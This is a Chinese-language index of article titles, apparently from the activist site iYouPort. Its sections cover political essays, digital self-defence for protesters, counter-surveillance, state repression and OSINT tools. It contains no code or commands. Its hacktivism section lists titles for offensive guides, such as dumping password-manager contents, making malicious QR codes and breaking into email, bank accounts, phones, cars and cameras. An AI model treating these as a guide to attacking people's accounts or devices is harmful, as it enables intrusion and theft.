108. 是反抗者的斗争建立了福利国家，而不是哪个"善良的统治者" - iyouport
109. 暴力的非法性，合法性的暴力 - iyouport
110. 杀戮无止境：为什么复仇不是一件简单事，以及革命者应该追求什么 - iyouport
111. 极少数人对多数人的嘴巴所做的事, 不会让您获得幸免 - iyouport
112. 每一面旗帜在烈火中都是黑色的 - iyouport
113. 没有”革命的政府”这种东西：为什么你不能用国家废除阶级 - iyouport
114. 没有政客的政治 - iyouport

115. 活动家和组织者究竟是否可以使用社交媒体进行宣传动员？：这里是一些注意事项 - iyouport
116. 流行文化如何帮助解释缅甸的政变 - iyouport
117. 爱国者悖论 - iyouport
118. 现在团结：当下的口述历史实验 - iyouport
119. 生活如何变成了一场无止境的可怕竞争？精英政治的圈套 - iYouPort
120. 用 “民主化” 装13的骗子 - 所谓的 “金融科技” 是个什么东西？ - iyouport
121. 看不见的黑手：自动化未来的政治 - iyouport
122. 真正能打破墙的东西可能不是梯子：巴尔干化和互联网的未来 - iyouport
123. 真的有国家这个 "东西" 吗？ - iyouport
124. 社区应该是什么？是谁在玩坏这个概念？ - iyouport
125. 第二次反恐恐怖战争来了，人们有必要观看这部新电影和这本书 - iyouport
126. 终结政府 - iyouport
127. 苏联作家联盟类似于中国作协：一个警示故事，一段非凡的历史 - iyouport
128. 视频：对爱德华·斯诺登的访谈，内容涉及硅谷审查、拜登和新闻自由的危险 - iyouport
129. 言论自由究竟应该是什么？：12个最常见的错误断言 - iyouport
130. 警察渗透抗议运动简史 - iyouport
131. 警察用哪些监视方式瞄准抗议者？ - iyouport
132. 让它民主：在真相事业中构想未来图景（上） - iyouport
133. 让它民主：替代媒体作为抗争之源（下） - iyouport
134. 资本家支持民主吗？为什么？ - iyouport
135. 走出被称为祖国的牢笼 - iyouport
136. 超越高堡奇人：在美中的帝国争霸之上 - iyouport
137. 达尔文式自由市场的结果是什么 - iyouport
138. 逃离技术封建主义的世界 - iyouport
139. 选举如何成为一门生意：私人情报市场和现实的有偿操纵者 - iYouPort
140. 镇压可以激发更多的反抗，但有时却相反，为什么？ - iyouport
141. 隐私究竟是给谁的？ - iYouPort

142. 鱿鱼游戏，资本主义的游戏 - iyouport
143. 黄背心错失的机会 - iyouport
144. 柏林墙倒了吗？（1）：五味杂陈的卡巴莱 - iyouport
145. 过去和现在的线人：政治渗透是如何操作的？（1） - iyouport
146. 针对反抗运动的政治渗透：政府线人如何操作（2） - iyouport
147. 柏林墙倒了吗？（3）：”我第一次感到害怕” - iyouport
148. 渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3） - iyouport
149. 柏林墙倒了吗？（4）：种族的神秘性 - iyouport
150. （8）如何创建真正的民主 - iyouport
151. （10）直接行动的关键在于协作，但协作的能力并非天生 - iyouport
152. （24）在社交媒体上”抗议”有什么问题？ - iyouport
153. （51）勇气具有传染性 - iyouport
154. （52）当我们不能彼此照应时，结果又将如何？ - iyouport
155. （53）走出部落 - iyouport
156. （57）技术如何塑造21世纪的创造性抗议？ - iyouport
157. （58）“战略网”：鲜为人知的工具 — 可视化抗议运动能否成功以及为什么失败，包括六四 - iyouport

14. 黑客主义

    1. 使用Wi-Fi Deauther手表，在您的手腕上直接破解网络和设备 - iyouport
    2. 如何以纯文本格式转储密码管理器中的密码 - iyouport
    3. 如何使用树莓派和 Kali Linux 构建一个黑客工作站 - iyouport
    4. 如何创建恶意QR码入侵手机和其他扫描仪 - iyouport
    5. 如何将安卓手机变成黑客设备 - 无需 Root - iYouPort

6. 推荐一些最好的黑客网站 - iyouport
7. 适用于Android的11种最佳Wi-Fi黑客应用程序 - iyouport
8. 革命斗争中黑客的力量和潜力，以及一些资源 - iyouport
9. Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1） - iyouport
10. Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2） - iyouport
11. 如何在音频文件中隐藏秘密信息：黑客主义行动力（4） - iyouport
12. 如何破解蓝牙打开监狱大门：黑客主义行动力（5） - iyouport
13. “融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6） - iyouport
14. 充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7） - iyouport
15. 如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8） - iyouport
16. 如何发送欺骗性短信？- 黑客主义行动力（9） - iyouport
17. 如何入侵目标的电子邮件和银行账户：黑客主义行动力（10） - iyouport
18. 如何黑入汽车：黑客主义行动力（11） - iyouport
19. 如何控制目标人的安卓手机：黑客主义行动力（12） - iyouport
20. 如何入侵安卓手机：黑客主义行动力（14） - iyouport
21. 如何入侵监视摄像头和物联网设备：黑客主义行动力（15） - iyouport
22. 艾略特如何破解每个人的密码：黑客主义行动力（16） - iyouport
23. 尝试 Metasploit入侵Android移动设备：黑客主义行动力（17） - iyouport

15. 护盾（AS）

1. (公民)调查记者如何与吹哨人合作：7点提示 - iYouPort
2. 4款最佳一次性手机号码应用：适用 Android &

iPhone - iYouPort
3. 5个信誉良好的一次性信用卡号服务：隐藏您的真实身份信息 - iyouport
4. AS1 如果警察在你的手机上强制安装监视应用程序，如何才能将危险最小化？ - iyouport
5. AS10 如果您必需使用 WhatsApp：这里是减少伤害的办法 - iyouport
6. AS11 如何保持 Android 设备免受警察的侵害 - iyouport
7. AS12 是否需要备份以及该如何安全地备份 WhatsApp？ - iyouport
8. AS13 小心预览！ - iyouport
9. AS14 使用社交媒体时你必须注意什么？ — — 更安全的抵抗 - iyouport
10. AS15 如何躲避监视追踪？大清洗：反侦察的第一 - iyouport
11. AS17 分身术完整指南：妥善管理您的在线身份并获得安全的方法 - iyouport
12. AS19 隐身游戏：如何在监视遍地的社会里让自己消失 - iyouport
13. AS2 如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？ - iyouport
14. AS20 如何用指标预测互联网中断？一旦断网还可以怎么办？ - iyouport
15. AS21 你不应该在社交媒体上说的话 - iyouport
16. AS23 指南：当您准备参加抗议活动... - iyouport
17. AS24 集会参与者有必要了解的基本安全措施 - iyouport
18. AS25 角色扮演：行动者刚需 - iyouport
19. AS27 网络战：社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？ - iyouport
20. AS28 系统被攻击、用 Tor 被钓鱼、好奇害死猫，怎么办？- 把危险隔离出去 - iyouport
21. AS30 如何在不必暴露真实电话号码的情况下使用 Signal - iyouport
22. AS31 你很重要 - iyouport
23. AS32 增强匿名性的简单方法 - iyouport
24. AS34 如何彻底删除以抵制任何取证工具？ - iyouport

25. AS35 摆脱追踪者：您的行动必须是匿名的，否则没有可持续性 - iyouport
26. AS36 如何知道有人正在线人肉你？6个简单的方法 - iyouport
27. AS37 返回基础知识：普通人如何强化智能手机和计算机的安全性 - iyouport
28. AS38 如何在 OS X 中创建加密磁盘映像以便安全储存敏感文件 - iyouport
29. AS39 如果您仍需要使用微信，这里有一个简易指南以尽可能保护您的安全 - iyouport
30. AS4 如何建立一个匿名社交媒体账户以保护个人数据的私密性？ - iyouport
31. AS40 活动家如何构建敏感网站并躲避政府和恶意者的追踪监视 - iyouport
32. AS41 如何识别手机上的恶意软件？ - iyouport
33. AS42 活动家和组织者究竟是否可以使用社交媒体进行宣传动员？ - iyouport
34. AS44 如果您已成为目标：来自内部和外部的威胁和抵御 - iyouport
35. AS45 在线组织和互助需要多方面小心以维护所有参与者的安全：这里是基本注意事项 - iyouport
36. AS46 您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式 - iyouport
37. AS47 如何在监视时代参加抗议活动 - iyouport
38. AS49 买不起/买不到一次性手机怎么办？这里是您需要了解的事 - iyouport
39. AS5 安全手册：这里是你需要的几乎所有安全上网工具 - iyouport
40. AS50 在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作 - iyouport
41. AS51 如何打造自己的云，逃离监视资本主义：Nextcloud 入门 - iyouport
42. AS52 在线组织须知：使用互联网进行组织动员时需要注意什么 - iyouport
43. AS54 如何躲避无人机 — 监视时代的须知 - iyouport
44. AS55 简易吹哨平台传输泄漏数据：洋葱汤指南 - iyouport
45. AS56 (公民)调查记者如何与吹哨人合作：7点提示 - iyouport

46. AS58 给活动家的反人肉指南 - iyouport
47. AS6 一系列元数据工具，从自我保护到有效利用 - iyouport
48. AS60 如果您的团队陷在被监视和被渗透的恐慌中，只是因为您缺少了一件东西 — 什么是安全文化
49. AS7 如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？ - iyouport
50. AS8 如何不暴露手机号、不花钱，实现双因素身份验证？ - iyouport
51. AS9 要想保护每个人的人权和安全，我们就需要联合 - iyouport
52. Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？ - iyouport
53. 一句话安全须知：记住这些句子，以简单地优化您的安全性 - iyouport
54. 一次性手机用户指南：关于刻录机电话您应该知道的重要原则 - iyouport
55. 了解诱捕战略：如果政府间谍要求你做线人怎么办？如何判断一个人是否可能是线人？ - iyouport
56. 你不应该在社交媒体上说的话 - iYouPort
57. 分身术完整指南：妥善管理您的在线身份并获得安全的方法 - iyouport
58. 在Twitter上提高隐私和安全性的7个技巧 - iyouport
59. 在将抗议现场的照片和视频发布到社交媒体上之前，请执行此操作 - iyouport
60. 增强匿名性的简单方法 - iyouport
61. 如何不暴露手机号、不花钱，实现双因素身份验证？ - iyouport
62. 如何保护自己免受蔓延全世界的最强大的以色列间谍软件 Pegasus 的攻击 - iyouport
63. 如何保持 Android 设备免受警察的侵害 - iyouport
64. 如何入侵 Telegram？ - iYouPort
65. 如何分辨：机器人、僵尸网络和 trolls - iYouPort
66. 如何在 OS X 中创建加密磁盘映像以便安全储存敏感文件 - iyouport
67. 如何在不必暴露真实电话号码的情况下使用 Signal - iyouport
68. 如何应付政府使用黄貂鱼对公民进行的大规模间谍

行为？ - iyouport
69. 如何建立一个匿名社交媒体账户以保护个人数据的私密性？ - iyouport
70. 如何打造自己的云，逃离监视资本主义：Nextcloud 入门 - iyouport
71. 如何用指标预测互联网中断？一旦断网还可以怎么办？ - iyouport
72. 如何知道有人正在线人肉你？6个简单的方法 - iyouport
73. 如何识别手机上的恶意软件？ - iyouport
74. 如何躲避监视追踪？大清洗：反侦察的第一步 - iyouport
75. 如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？ - iyouport
76. 如果您仍需要使用微信，这里有一个简易指南以尽可能保护您的安全 - iyouport
77. 如果您必需使用 WhatsApp：这里是减少伤害的办法 - iyouport
78. 如果警察在你的手机上强制安装监视应用程序，如何才能将危险最小化？ - iyouport
79. 小心预览！ - iYouPort
80. 当您准备像编程随想那样工作…：须知 - iyouport
81. 我的设备好像被黑了怎么办？ — — 给敏感人士和小白朋友的数字急救包 - iYouPort
82. 技术是愚蠢的 - 这就是为什么您应该格外小心：基本手册给行动者、敏感人士和任何期待安全的普通公民
83. 数字追踪：政府间谍如何识别，跟踪和围捕异议人士 - iyouport
84. 是否需要备份以及该如何安全地备份 WhatsApp？ - iyouport
85. 社交媒体上的行动主义安全性：框架手册 - iyouport
86. 私人威胁模型 - iYouPort
87. 系统被攻击、用 Tor 被钓鱼、好奇害死猫，怎么办？- 把危险隔离出去 - iYouPort
88. 被抢走的手机成为警察镇压反对派的信息宝库 - iyouport
89. 要想保护每个人的人权和安全，我们就需要联合 - iYouPort

90. 警察通常会如何寻找一个"失踪的/躲起来"的人？ - iyouport
91. 返回基础知识：普通人如何强化智能手机和计算机的安全性 - iyouport
92. 遮住脸部成为当今抗议者的首要目标 - iyouport
93. 避风港发布 Haven 0.1.0 RC 1 公测版，这里是中文介绍 - iYouPort
94. 香港：年轻的抗议者擅长抵御数字监控（附安全须知） - iYouPort
95. AS16 隐写术的小心机（1） - iyouport
96. AS18 自我人肉（1） - iyouport
97. 来自人身的威胁：如何在敌对环境中保护自己（1） - iyouport
98. 隐写术的小心机（1） - iyouport
99. AS26 社交媒体情报和反情报基本工具手册：自我人肉（2） - iyouport
100. AS29 抵制在线攻击：不要被 trolling 和 Doxing 压垮 (2) - iyouport
101. AS33 使用隐写术发送秘密消息（2）简易教程 - iyouport
102. 最低程度的技术性获得最大幅度的安全提升：如何在敌对环境中保护自己（2） - iyouport
103. 观察追踪者的思考方式：挖掘推特情报的基础教程（2） - iYouPort
104. AS48 如何在文本中隐藏秘密消息 – 不是在图片和音频中，是在文本中：隐写术（3） - iyouport
105. 如何在文本中隐藏秘密消息 – 不是在图片和音频中，是在文本中：隐写术（3） - iyouport
106. 手机应该有且只有一个用途：在敌对环境中保护自己（3） - iyouport
107. 为最坏的情况做准备，迎接最好的结果：在敌对环境中保护自己（4） - iyouport
108. （58）“战略网”：鲜为人知的工具 — 可视化抗议运动能否成功以及为什么失败，包括六四 - iyouport

16. 难以被追踪

    1. 在不自由中创造自己的自由：变得难以被追踪的简单方法（1） - iyouport

2. 与S先生共度美好一天 - 反取证技巧：变得难以被追踪的简单方法（3） - iyouport
3. 保持零信任：变得难以被追踪的简单方法（4） - iyouport
4. 少即是多：变得难以被追踪的简单方法（5） - iyouport
5. 大保健应该成为习惯：变得难以被追踪的简单方法（6） - iyouport
6. 在雷达下低飞：变得难以被追踪的简单方法（7） - iyouport
7. 到底也没有无法被监听的电话？：变得难以被追踪的简单方法（8） - iyouport
8. 8个步骤实现基本匿名实践：变得难以被追踪的简单方法（9） - iyouport

17. 整体安全！-课程和训练

1. 头疼医头是不够的：整体安全（1）- 行动主义能持续的关键 - iyouport
2. “抓特务” 不是解决方案：整体安全（2）- 威胁响应 - iyouport
3. 知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者 - iyouport
4. 夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产 - iyouport
5. 每一种变化都有原因，您需要及时抓取威胁信号 – 整体安全（5）- 紧贴时局 - iyouport
6. 草木皆兵和”爱谁谁”都只会带来更多的危险：整体安全（6）- 开发您的能力，缓解您的脆弱性 - iyouport
7. 充分的准备和应急反应同样重要：整体安全（7）- 计划是 “活的” - iyouport
8. 安全是追求，而不是任务：整体安全（8）- 准备好进入行动 - iyouport
9. 您需要真正的 “自己人”：整体安全（9）- 进入战斗状态 - iyouport
10. 协调性很重要，从场内到场外：整体安全（10）- 安全是保持战斗力的绝对必要条件 - iyouport
11. 抗议中谨防常见危险：整体安全（11）- 协作和互助就是战斗力 - iyouport

12. 场内协作和场外接应同样重要：整体安全（12）- 紧急撤离和汇报评估 - iyouport

18. 维稳面面观

1. “Do Not Resist”：警察军事化的危机 - iyouport
2. “帮派数据库”是什么？为什么据此就可以直接给无辜的市民定下重罪？ - iyouport
3. “间谍软件把我的生活变成了地狱”：遭受Pegasus的人权活动家说 - iyouport
4. AS52 警察如何利用抗议者的手机追踪每个人 - iyouport
5. Books 条条大路通北京 - iyouport
6. COVID-19不仅导致了反乌托邦的提升，还加速了新闻和言论自由度的全球性暴跌 - iyouport
7. LR 铁幕之下：全球反抗者如何对战监视者？ - iyouport
8. 一个受欢迎的聊天应用程序实际上是一个隐秘的间谍工具 - iYouPort
9. 一本新书，揭开维稳警察的秘密罪行 - iyouport
10. 中国在西藏构建了强悍的数字隔离墙 - iYouPort
11. 中国已经将智能手机武器化：这就是为什么您应该关注 - iyouport
12. 中国的新 “密码法”如何终结了加密 - iyouport
13. 了解诱捕战略：如果政府间谍要求你做线人怎么办？如何判断一个人是否可能是线人？ - iyouport
14. 人格暗杀和抹黑运动：谁在受益？ - iyouport
15. 什么是社交媒体情报？你的推特如何成为抓捕你的理由？ - iyouport
16. 今天的集中营有很多名字，但它们依旧是集中营 - iyouport
17. 从ISIS、到伊拉克、再到以色列，商业无人机如何镇压反抗者 - iyouport
18. 从做新闻到”作”新闻：维稳机构如何成功废掉说真话的媒体？ - iyouport
19. 从叙事矩阵到高科技群众斗群众：21世纪维稳5步拳 - iyouport
20. 从在线骚扰到线下逮捕：社交媒体被武器化针对异议人士，美国寡头漠不关心 - iYouPort
21. 他们不关心你的死活，因为他们是1% - iyouport

22. 他们因发布推文而遭到网警的审讯和拷打 - iYouPort
23. 他们是如何抓捕说真话的人？灾难和教训 - iyouport
24. 先开枪，再问问题：来自世界各地的警察暴力 - iyouport
25. 全球大规模监视的崛起：我们是如何走到这一步田地的？ - iyouport
26. 共产主义者，恐怖分子，恶魔：社会互助的直接行动缘何成为被攻击的目标 - iyouport
27. 别依赖你无法控制的东西 - iyouport
28. 又有数十个政治倡导团体成为政府间谍的重点监视目标 - iyouport
29. 国际刑警组织被政府武器化，在全球追捕政治异议和活动家 - iyouport
30. 在没有CCTV的时代警察同样全面监控抗议活动，他们是怎么做的？ - iyouport
31. 在邻国政府的协助下间谍活动家、记者和律师 - iyouport
32. 大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险 - iYouPort
33. 好莱坞究竟是亲中还是亲美？ - iYouPort
34. 如何抵制SIM卡交换攻击 - iyouport
35. 如何识别抗议活动中可见的和不可见的监视 - iyouport
36. 如何躲避无人机 - 监视时代的须知 - iYouPort
37. 如何追踪一辆汽车？ - iYouPort
38. 封锁言论就能制止仇恨吗？不 - iYouPort
39. 当声音作为警察的镇压武器 - iyouport
40. 当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防 - iyouport
41. 当我们陷入困境：中国社会能从美国的反抗运动中学到什么 - iyouport
42. 性关系如何扼杀反抗运动 - iyouport
43. 我们的付出应该获得回报 —— 是时候了，打破监视资本主义的数据经济 Separator 监视资本主义 % Separator iYouPort
44. 我被警察折磨至精神崩溃：现在我必须爬起来战斗 - iyouport
45. 抗议活动正在阿拉伯世界卷土重来，但是这次… -

iyouport
46. 数字追踪：政府间谍如何识别，跟踪和围捕异议人士 - iyouport
47. 无处可逃：中国对维吾尔人的跨国镇压 - iyouport
48. 无论在任何地方，民权活动人士都在受到监视 - iyouport
49. 欢迎来到纽约！迎接老大哥 - iYouPort
50. 泄露：中国庞大的警察数据库 - iYouPort
51. 消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代 - iyouport
52. 独裁者的监视指南 - iyouport
53. 现代维稳战术一瞥 - iyouport
54. 用群众维稳群众：殴打抗议者是一个赚快钱的捷径… - iyouport
55. 电视机的阴谋 - iYouPort
56. 监视技术公司实际上 *受益于* 其人权丑闻的曝光 - iyouport
57. 秘密空间站 - iYouPort
58. 空中监视如何追踪抗议者？ - iyouport
59. 维族妇女对战中国的监视国家[videos] - iyouport
60. 网络战：⁉社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？ - iYouPort
61. 美国的斯塔西在乌克兰 - iYouPort
62. 美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept - iyouport
63. 自2013年以来，由国家资助的中国黑客一直在瞄准东南亚 - iYouPort
64. 警察/间谍如何定位抓捕抗议者：连锅端的标准操作模式 - iyouport
65. 警察如何阻止公民对执法暴力行为取证 - iyouport
66. 警察将活动家称为“国内极端分子”的五个荒谬理由 - iyouport
67. 警察渗透抗议运动简史 - iyouport
68. 警察用哪些监视方式瞄准抗议者？ - iyouport
69. 警方可拿走设备上全部数据还让你不知道 — — 这是什么技术？哪个公司提供？ - iyouport
70. 谁的暴力 - iyouport
71. 金氏王朝如何使用 “高科技” 抓捕叛逃者 - iYouPort
72. 镇压部队最常用哪些武器对付抗议者？- 概览 -

iyouport
73. 阶层斗争持久战中的教师 - iYouPort
74. 需要警惕不只有警察，可能还有你的邻居：警方如何构建私人监视网络 - iYouPort
75. 黄貂鱼被放在飞机上一次性监控成千上万部手机 - iyouport
76. 过去和现在的线人：政治渗透是如何操作的？（1） - iyouport
77. 针对反抗运动的政治渗透：政府线人如何操作（2） - iyouport
78. 渗透破坏、分裂和误导在抗议活动中广泛存在：政治渗透如何操作（3） - iyouport

19. 在白纸之上

1. 年终礼：在白纸上绘制未来 (第1集) - 我们"伊朗了"吗？ - iyouport
2. 年终礼：在白纸上绘制未来(第2集) - 火炬已点燃，之后呢？ - iyouport
3. 年终礼：在白纸上绘制未来(第3集) - 要与统治者竞争智商，而不是与公众 - iyouport
4. 年终礼：在白纸上绘制未来(第4集) - 是的，有一种很难被镇压的起义 - iyouport
5. 年终礼：在白纸上绘制未来(第6集) - 托尔斯泰还是张献忠？不… - iyouport
6. 年终礼：在白纸上绘制未来(第7集) - 运动的吸睛度法则和反对派防骂仗的技巧 - iyouport
7. 年终礼：在白纸上绘制未来(第8集) - 那个我们想要的世界 - iyouport

20. 反抗者-寻求经验

1. "一个核超级大国和一群一无所有的人民" ：来自雅法的无政府主义者谈巴勒斯坦的暴力和以色列的镇压
2. “不要旧常态，不要新常态”：2021世界各地的五一节抗议活动 - iyouport
3. "他们认为杀几个人就能制服我们，而我们变成了数百万人" - iyouport
4. "你们站在正义的一边"：在世界上最大的开放式监狱加入起义 - iyouport

5. "只有起义才能拯救我们"：要彻底铲除让暴政掌权的土壤，而不仅仅是瓦解现有暴政 - iyouport
6. “在一个完美的世界里，我们是不会存在的“：俄罗斯海盗党和社运心电图 - iyouport
7. “我们对警察的憎恶把我们团结在一起” - iyouport
8. "我们要尝试一种没有霸权的生活"：对香港行动者的访谈 - iyouport
9. "手机就是我们的枪"：网络空间的真相之战 - iYouPort
10. “挑战政权的人会死在监狱 …… 但我们不怕”：捍卫真相的事实核查员与反乌托邦的斗争 - iyouport
11. “智能镇压”时代：民众抗议此起彼伏，但效果如何？ - iyouport
12. "看，他们害怕了！这是我们的机会" - 俄罗斯无政府主义者谈瓦格纳兵变 - iyouport
13. ad.watch - 深入政治宣传的背后：关于要完成这项调查工作您应该知道的事 - iYouPort
14. LR 用技术作为促进透明度革命的武器：一个成功的尝试 - iyouport
15. 一个新的平台反映了警方对抗议者的暴力行为 - iyouport
16. 不是躺平：一位工人讲述在工作场所成功的直接行动 - iyouport
17. 不要相信改革：激进活动家如何废掉警用监视 - iyouport
18. 与流亡组织对话：政治避难者如何在异国他乡继续奋斗 - iyouport
19. 为什么听不到中亚和俄罗斯维吾尔人的声音？ - iyouport
20. 为什么工人不反抗？ - iyouport
21. 为什么是塔利班赢了？：以阿富汗为镜，全球背景下的塔利班胜利 - iyouport
22. 五一节：勇气和抵抗的故事 - iyouport
23. 从小房运动中汲取经验 - iYouPort
24. 从沉默到沉默：监视和审查的恶性循环 - iyouport
25. 从沉默到沉默：监视和审查的恶性循环 - iYouPort
26. 从独裁到民主，反抗的火焰 -- 48年 - iyouport
27. 他们如何战胜了强大的政府？ - - 横向组织和直接行动的有效性 - iyouport
28. 俄罗斯： 等待历史车轮的转动 - iyouport

29. 全球反奥运运动兴起，挑战奥运会的阴暗面 - iyouport
30. 利用一切机会站起来：来自俄罗斯的两封信 - iyouport
31. 反叛的荣耀 - 来自哥大和加州理工抗议前线的报告：含重要学运技巧 - iyouport
32. 反工作运动：从"我不干了" 到 "我们起义" -- 二十一世纪的劳工抗争 - iyouport
33. 台湾的快递小哥想要一个全国工会，但这并不容易 - iyouport
34. 团结，直接行动和自决：KasaInvisível运动 - iyouport
35. 在极端镇压的条件下，加入抵抗运动 - iyouport
36. 在社会同类相食的岁月里，奋力的互助和抵抗 - iyouport
37. 如何成为革命者 - iyouport
38. 如何说服人们参加抗议活动 - iyouport
39. 工运新时代：在供应链中团结起来 - iyouport
40. 异议的收成 - iyouport
41. 当跨国公司与全球政府合谋伤害工人：优步的泄密 - iyouport
42. 德国的森林占领运动：学习抵抗的战术、战略和文化 - iyouport
43. 我们一起来对战巨人：世界各地的快递小哥终于组织起来形成了真正的反抗力量 - iyouport
44. 我们不要被代表：突尼斯的反抗，从2011年革命到2021年起义 - iyouport
45. 我们这个时代，革命的局限性：斯里兰卡起义的经验教训 - iyouport
46. 我们这些99%：在占领华尔街十周年的日子里思考新的政治身份 - iyouport
47. 我被警察折磨至精神崩溃：现在我必须爬起来战斗 - iyouport
48. 抗议者使用数百个激光笔”击落”警察无人机 - iyouport
49. 探索替代互联网和不寻常的网络形式: 在哈瓦那挑战恶劣的"互联网"生态 - iYouPort
50. 数字行动反对缅甸军政府 - iyouport
51. 新的压制和新的反抗：社会运动的智慧如何跟上技术型暴政的进化？ - iyouport

52. 无政府主义者正在建造 DIY 加热器以帮助无家可归者获得温暖 - iyouport
53. 有比“胜利”更重要的事：印尼抗议浪潮中的无政府主义者 - iyouport
54. 每一面旗帜在烈火中都是黑色的 - iyouport
55. 没有政客的政治 - iyouport
56. 流离失所者之间的团结 - iyouport
57. 瓦解独裁政权，是无法用选票解决的问题 - iyouport
58. 百年的自由之战：密文作为抵抗的语言 - iyouport
59. 示威者反向监视警方：全世界的抗议者正在利用面部识别”抓”便衣警察 - iyouport
60. 秘密的信用评分算法如何让你陷入贫困：这场反击战即将开启 - iyouport
61. 维族妇女对战中国的监视国家[videos] - iyouport
62. 警察如何阻止公民对执法暴力行为取证 - iyouport
63. 讨薪运动的历史性胜利：制衣工人赢得了数十亿被偷窃的工资 - iyouport
64. 这一次，站起来的是真正的人民 - iyouport
65. 这不是"他们的"战斗，而是"我们的"：哈萨克斯坦起义 - 不是抗议者，而是革命者 - iyouport
66. 这个名叫 "国家" 的监狱：起义后的哈萨克斯坦 - 腰缠万贯的镇压者、谣言和烈士的火种 - iyouport
67. 酷刑、殴打、法外杀戮：全世界的反抗者如何抵抗这种警察暴力？ - iyouport
68. 防疫战士对战监视制度：他们赢了 - iyouport
69. 除了革命，别无他法：伊朗起义2022 -- 终结资本主义父权制的战斗 - iyouport
70. 除非运动，其他任何方式赢得收益都是危险的：一个典型教训给中国社会参考 - iyouport
71. 香港快递小哥再次罢工 - iyouport
72. 香港的抗议活动中再次强调了你的脸如何成为武器 - iyouport

21. 反侦查-在现实中反侦查

    1. 隐身游戏：如何在监视遍地的社会里让自己完全消失 - iYouPort
    2. Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？ - iyouport

3. VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？ - iyouport
4. 反侦察：除技术之外你还应该注意诸多重要的细节问题 - iYouPort
5. 在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视 - iyouport
6. 如何检测您是否正在受到监视？ — — 监视检测和特殊保护行动 - iyouport
7. 暗中监视的迹象 - iyouport
8. 用“眼”识人：你想知道自己在一个“间谍”的眼中是什么样吗？ - iyouport

22. BLM2020

1. 当我们陷入困境：中国社会能从美国的反抗运动中学到什么 - iyouport
2. 来自中国的“跑题” - iyouport
3. 这是一种最可怕的镇压战术：和平抗议者遭遇”水壶”围捕之后 - iyouport
4. 警察情报中心如何跟踪抗议活动：通过BLM（1） - iyouport
5. 把暴力抗议玩成生意的人：通过BLM（2） - iyouport
6. 监视器 “眼中” 的抗议运动：通过BLM（3） - iyouport
7. 秋后了 … 抗议究竟有没有用？答案可能不在眼下：通过BLM（4） - iyouport
8. 当甘地错了 ……：通过BLM（5） - iyouport
9. 警察如何使用推文监视抗议运动：通过BLM（6） - iyouport
10. 伪党争和真镇压：警察粉碎了每一个微小的抗议活动：通过BLM（7）- 有毒化学烟雾弹 - iyouport
11. 武装暴徒受到警察的鼓励以镇压反抗者，这甚至不是新鲜事：通过BLM（8） - iyouport

23. 新生情报工具

1. 影响力 - iYouPort
2. 新生情报工具（4）：战术培训、狩猎推特、瑞士军刀 – 针对特定目标人的侦查利器 - iyouport
3. 新生情报工具（7）：全球搜人、免费手机短信、

放大照片不损质量、快速查找相关视频 - iyouport
4. 去模糊化、挖人际关系、自动社交工程攻击、监视信息战：新生情报工具（8） - iyouport
5. 实时钓鱼、快速提取、游行调查、跨站追踪、便携式瑞士军刀：新生情报工具（9） - iyouport
6. 根据位置搜索telegram群组、在互联网上跟踪人、可视化影响力关系网络、及其他：新生情报工具（10）
7. 实时新闻地图、Twitter 情报分析、电话号码追踪、电子邮件侦查及其他：新生情报工具（11）
8. 实时新闻地图、Twitter 情报分析、电话号码追踪、电子邮件侦查及其他：新生情报工具（11） - iYouPort
9. 种子、暗网、区块链、抖音、telegram、数据集…… ：新生情报工具（12） - iyouport
10. 社交媒体情报、追踪电邮电话号码、挖抖音、搜网络摄像头……：新生情报工具（13） - iyouport
11. 挖抖音、泄漏密码、漏洞、人脸识别工具、假身份生成器、事实核查 ……：新生情报工具（14） - iyouport
12. 挖 Telegram 群组、搜脸、搜人、蜂窝塔、网络摄像头、物联网、黑客新闻 ……：新生情报工具（15）
13. 搜电影、书、开放课程、Twitterlists、GPS、挖 Skype、开源情报虚拟机、挖抖音、双语搜索 ……：新生情报工具（16）
14. 反向面部识别、实时开源情报、推特可疑账户、网络摄像头地图、挖坟 ……新生情报工具（17） - iyouport
15. 深挖推特工具超长列表、寻找独立新闻源、物联网 Dorks、泄漏数据、挖 Telegram、机器学习数据集、大牌流媒体资源 …… 新生情报工具（18）
16. 隐私型开源推特前端、追踪热点事件、邦德在哪、冠状病毒和抗体、搜警用无线电、网络摄像头 dorks、暗网搜索 ……：新生情报工具（19）

24. 侦探挑战游戏

1. DC1 侦探挑战小游戏 - iyouport
2. DC10 空荡荡的蓝天上掠过一架飞机……你能知道

地理位置吗？- 史上最难的侦探挑战 - iyouport
3. DC11 神探应该拥有很棒的直觉：侦探挑战小游戏演示追踪 - iyouport
4. DC12 一扇窗子能告诉你什么？：侦探挑战游戏 - iyouport
5. DC13 摆脱信息消防栓，绕墙而行的技巧：侦探挑战游戏 - iyouport
6. DC14 寻找时间的踪迹：侦探挑战游戏 - iyouport
7. DC2 让阴影说话：开源调查小游戏 - iyouport
8. DC3 使用电影做侦探挑战演示 - iyouport
9. DC4 侦探挑战：间接证据和排除法 - iyouport
10. DC5 在互联网上识别和跟踪一个人的基本方法 - iyouport
11. DC6 侦探挑战游戏：快速地理定位的两种方法 - iyouport
12. DC7 那辆军车正驶向哪里？：侦探挑战时间 - iyouport
13. DC8 侦探挑战时间：让井盖和自行车说话 - iyouport
